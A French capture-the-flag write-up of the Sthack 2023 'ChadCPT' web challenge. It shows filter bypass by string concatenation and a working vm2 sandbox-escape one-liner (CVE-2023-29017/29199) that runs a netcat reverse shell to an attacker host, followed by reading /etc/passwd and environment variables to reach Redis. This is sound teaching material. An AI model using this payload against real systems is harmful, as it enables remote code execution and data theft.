Sthack 2023 / Chad CPT
May 12, 2023Chad CPT
Introduction
Pour cette édition de la Sthack 2023, nous avons eu le droit à une très grande variété de challenge. Nous vous proposons ici une résolution de l’épreuve ChadCPT
, un challenge de type web avec une “IA” un peu trop permissive.
Voici l’énoncé :
Do you know Chad CPT ? The new SCAM “AI” which can only solve simple math (like 1+1), this “AI” is pretty stoned and does not seem to handle failure… Retrieve the value of the flag located in the database.
L’application ChadCPT consiste en un formulaire à une seule entrée, ayant pour objectif de répondre à des opérations arithmétiques de type 2+2
, 3*3
, …
Recherche de bug
Nous cherchons dans un premier temps à réaliser un bug sur l’application dans le but d’observer des situations potentiellement non prévues. Parmi les bugs classiques pouvant intervenir lors d’opérations arithmétiques, nous retrouvons la fameuse division par zéro.
En effectuant une division par zéro telle que 3/0
, l’application nous retourne une erreur Infinity
.
Cette erreur non traitée est typique d’un programme JavaScript :
Là où une application python (par exemple) aurait retourné une erreur de type ZeroDivisonError
:
Du JavaScript côté serveur, nous partons donc dans l’hypothèse d’une application développée avec NodeJS.
Le programme étant réceptif aux booléens (true
et false
), nous tentons ensuite de voir si celle-ci peut accepter les Ă©quations sous forme de conditions JavaScript. Effectivement 1==1
nous répond true
, quand 1==2
résulte en l’absence de réponse (synonyme ici de false
).
Nous pouvons alors proposer des égalités telles que "test".length==4
afin de valider la présence d’un moteur JavaScript côté serveur, et également garder en tête la possibilité d’utiliser des égalités pour une potentielle exploitation à l’aveugle.
Après avoir confirmé la présence de NodeJS, nous pouvons alors tenter d’exécuter les fonctions clefs du langage pouvant permettre d’élever nos privilèges. La fonction eval(<instruction>)
fonctionne et parait alors idéale pour tenter d’exécuter du code JavaScript sans être gêné par l’interpréteur en attente d’un input incluant une opération arithmétique.
Découverte de l’environnement d’exécution
NodeJS est particulièrement riche par ses modules (natifs ou non), mais nous observons que leur import reste impossible, sans savoir si ce sont les modules qui sont introuvables ou l’instruction require
qui est bloquée :
Nous tentons également de créer un processus à part dans le but d’y injecter une commande système. Cette opération est notamment possible via l’utilisation de child_process
. Nous notons cependant que l’application réalise un contrôle sécurité et va alors bloquer toute requête contenant le mot clef process
avant même de l’interpréter.
Pour contourner ce blocage, nous pouvons alors dynamiquement diviser et concaténer le mot de la manière suivante : "pro"+"cess"
.
Le message d’erreur disparait, le contournement est alors fonctionnel.
Dans des situations dit de jail
/sandbox
, le programme fait en sorte de nous permettre d’exécuter les commandes natives du langage, tout en empêchant l’exécution de commandes systèmes sur l’hôte. Notre objectif est alors de gagner des informations sur cet environnement, et en trouver les failles pour en abuser.
Nous observons alors l’environnement d’exécutions. NodeJS étant un langage supportant la philosophie objet, nous tentons de lui faire afficher les propriétés de son objet courant this
via Object.getOwnPropertyNames(this)
.
Nous récupérons alors un grand nombre de propriétés de l’objet courant, dont une propriété VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL
.
Nous nous informons alors sur vm2
et apprenons qu’il s’agit d’une sandbox NodeJS :
Une première hypothèse est d’observer les mauvaises configurations/utilisations/déploiements qui pourraient mener à un échappement de la sandbox vm2. Cette hypothèse a fait œuvre de très nombreux tests, sans résultats.
Nous observons alors que deux failles ont récemment (avril 2023) été publiées :
- CVE-2023-29017
- CVE-2023-29199
Des preuves d’exploitation sont également disponibles, ce qui facilite l’exploitation :
https://gist.github.com/seongil-wi/2a44e082001b959bfe304b62121fb76d
(Le second POC s’avérant plus stable pour maintenir une connexion ouverte, la suite de cet article utilisera alors l’exploit ici noté vm2_3.9.14_exploit_2.js
).
Exploitation
Dans ce POC, nous avons tout d’abord la mise en place d’un environnement vm2 minimal, puis l’exécution de l’exploit :
Nous récupérons alors la partie surlignée ci-dessus. Les modifications à appliquer sont les suivantes :
- Remplacer
touch flag
par une commande qui nous intéresse. Nous souhaitons obtenir un accès au système, la commande NetCatnc <IP_serveur_attaquant> <port_serveur_attaquant> -e /bin/sh
sera alors sélectionnée pour un reverse-shell. - Couper les chaînes contenant le mot « process » pour permettre de contourner la protection en place.
- Faire un oneliner JavaScript pour éviter les problèmes liés au retour à la ligne
Voici le code d’exploitation final :
Error.prepareStackTrace = (e, frames) => { var a="child_pro"+"cess"; var b="return pro"+"cess"; frames.constructor.constructor(b)().mainModule.require(a).execSync('nc <IP_serveur_distant> <port_serveur_distant> -e /bin/sh'); }; async function aa(){eval("1=1")} aa()
Nous initialisons Ă©galement un serveur NetCat en Ă©coute sur Internet via la commande nc -lvp <port>
.
L’envoi du payload permet alors de récupérer un shell sur le serveur distant :
Phase de post-exploitation
Nous remarquons que nous sommes connectés sur le serveur en tant que appuser
, après quelques recherches dans les différents dossiers, nous relisons à tête reposée l’énoncé : il faut trouver les accès à une base de données
.
Nous trouvons un premier indice dans le fichier /etc/passwd
, un utilisateur redis
est présent. Nous savons donc maintenant qu’une base redis est utilisée, l’exécution de la commande env
, listant les variables d’environnement, nous permet de nous conforter dans cette hypothèse :
appuser@202035c4bee1:/app$ env
env
REDIS_URL=redis://redis:6379/2
HOSTNAME=202035c4bee1
YARN_VERSION=1.22.19
PWD=/app
HOME=/home/appuser
LS_COLORS=
SHLVL=1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=19.9.0
_=/usr/bin/env
Nous nous connectons sur le port 6379 hébergeant le service redis, la connexion fonctionne :
Il ne nous reste plus qu’à y retrouver le flag …
… et valider l’épreuve.